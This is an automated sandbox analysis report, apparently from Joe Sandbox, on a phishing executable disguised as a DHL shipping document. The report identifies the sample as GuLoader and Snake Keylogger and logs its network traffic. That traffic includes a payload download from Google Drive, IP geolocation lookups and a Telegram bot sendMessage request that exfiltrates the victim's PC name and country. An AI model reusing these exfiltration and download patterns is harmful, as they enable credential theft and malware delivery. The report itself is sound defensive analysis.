2025-02-18 07:12:59 UTC	855	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:59 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 94548 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Mon, 17 Feb 2025 04:57:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=60XzsvxLnKgTmoCApxUI0Y0JyI0VwEQwxAi5mJJmB0JPa3epEZpqdA21Cthdalv%2FpzFbKroS29U%2BhAvsbIKYX%2FttOUQmyDl71Z%2BVxF7nME79BUqiaU97CA3wNFVbN43ui8HjiVRu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 913c3644dce841a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1523&min_rtt=1515&rtt_var=585&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1845764&cwnd=245&unsent_bytes=0&cid=aafa7d09d946b2ab&ts=135&x=0"
2025-02-18 07:12:59 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	63544	149.154.167.220	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:13:00 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2018/02/2025%20/%2019:40:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-02-18 07:13:00 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 18 Feb 2025 07:13:00 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-02-18 07:13:00 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	2
Start time:	02:11:41
Start date:	18/02/2025
Path:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL AWB Document_pdf.exe"
Imagebase:	0x400000
File size:	713'347 bytes
MD5 hash:	0AEEA57A56BE2F86535E0809C6CD55D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1691361148.00000000054CC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:19:15
Start date:	18/02/2025
Path:	C:\Users\user\Desktop\DHL AWB Document_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL AWB Document_pdf.exe"
Imagebase:	0x400000
File size:	713'347 bytes
MD5 hash:	0AEEA57A56BE2F86535E0809C6CD55D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.2541928199.00000000337D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000A.00000002.2516246625.00000000017FC000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF0C70 CryptUnprotectData,		10_2_36AF0C70
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF13BB CryptUnprotectData,		10_2_36AF13BB

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2018/02/2025%20/%2019:40:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:63530 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:63527 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:63533 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:63509 -> 142.250.181.238:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:63529 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:63543 -> 104.21.32.1:443

Source: DHL AWB Document_pdf.exe	Virustotal: Detection: 37%			Perma Link
Source: DHL AWB Document_pdf.exe	ReversingLabs: Detection: 24%

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 0307F45Dh	10_2_0307F2C0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 0307F45Dh	10_2_0307F4AC
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 0307FC19h	10_2_0307F961
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36902D41h	10_2_36902A90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36903308h	10_2_36902EF0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690E359h	10_2_3690E0B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690F531h	10_2_3690F288
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690D589h	10_2_3690D2E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690F989h	10_2_3690F6E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36903308h	10_2_36902EEA
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690F0D9h	10_2_3690EE30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36903308h	10_2_36903236
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36900673
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690DA81h	10_2_3690D7D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36900D0Dh	10_2_36900B30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 369016F8h	10_2_36900B30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690DED9h	10_2_3690DC30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36900853
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_36900040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690EC59h	10_2_3690E9B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690D091h	10_2_3690CDE8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 3690E801h	10_2_3690E558
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF1748h	10_2_36AF1478
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF037Dh	10_2_36AF0040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFEB48h	10_2_36AFE850
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFE51Fh	10_2_36AFE1B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFA7F6h	10_2_36AFA528
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFF5A0h	10_2_36AFF2A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF716Eh	10_2_36AF6EA0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF517Eh	10_2_36AF4EB0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF915Eh	10_2_36AF8E90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFB5A6h	10_2_36AFB2D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF4CEEh	10_2_36AF4A20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF8CCEh	10_2_36AF8A00
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF6CDEh	10_2_36AF6A10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFB116h	10_2_36AFAE48
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF9A7Eh	10_2_36AF97B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF3AAEh	10_2_36AF37E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFBEC6h	10_2_36AFBBF8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF7A8Eh	10_2_36AF77C0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF5A9Eh	10_2_36AF57D0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF95EEh	10_2_36AF9320
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF75FEh	10_2_36AF7330
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFBA36h	10_2_36AFB768
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFD23Eh	10_2_36AFCF70
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF560Eh	10_2_36AF5340
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFC356h	10_2_36AFC088
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFA366h	10_2_36AFA098
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFDB5Eh	10_2_36AFD890
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF83AEh	10_2_36AF80E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF63BEh	10_2_36AF60F0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFD6CEh	10_2_36AFD400
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFFB08h	10_2_36AFF810
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF5F2Eh	10_2_36AF5C60
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF3F3Eh	10_2_36AF3C70
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF9EE7h	10_2_36AF9C40
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF7F1Eh	10_2_36AF7C50
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFCC78h	10_2_36AFC9A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFAC86h	10_2_36AFA9B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF684Eh	10_2_36AF6580
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF485Eh	10_2_36AF4590
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFDFEEh	10_2_36AFDD20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF43CEh	10_2_36AF4100
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFC7E6h	10_2_36AFC518
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AF883Eh	10_2_36AF8570
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then mov esp, ebp	10_2_36AF3548
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36AFF038h	10_2_36AFED40
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B72C20h	10_2_36B72928
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B71BC0h	10_2_36B718C8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B716F8h	10_2_36B71400
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B70338h	10_2_36B70040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B70D40h	10_2_36B70A48
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B72088h	10_2_36B71D90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B72690h	10_2_36B72398
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B70828h	10_2_36B70530
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then jmp 36B71208h	10_2_36B70F10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36B894D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36B894CA
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36B89840

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL AWB Document_pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

C:\Users\user\AppData\Local\Temp\nse4588.tmp

C:\Users\user\AppData\Local\Temp\nsg2FC9.tmp

C:\Users\user\AppData\Local\Temp\nsk39DE.tmp

C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nso36A1.tmp

C:\Users\user\AppData\Local\Temp\nsy425B.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Helveders.ini

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Bodyguarderne.Grf

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Enculturating.ini

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sammentrngende225.sth

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sangforeninger.Bro

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Sfarer248.rgs

Windows Analysis Report
DHL AWB Document_pdf.exe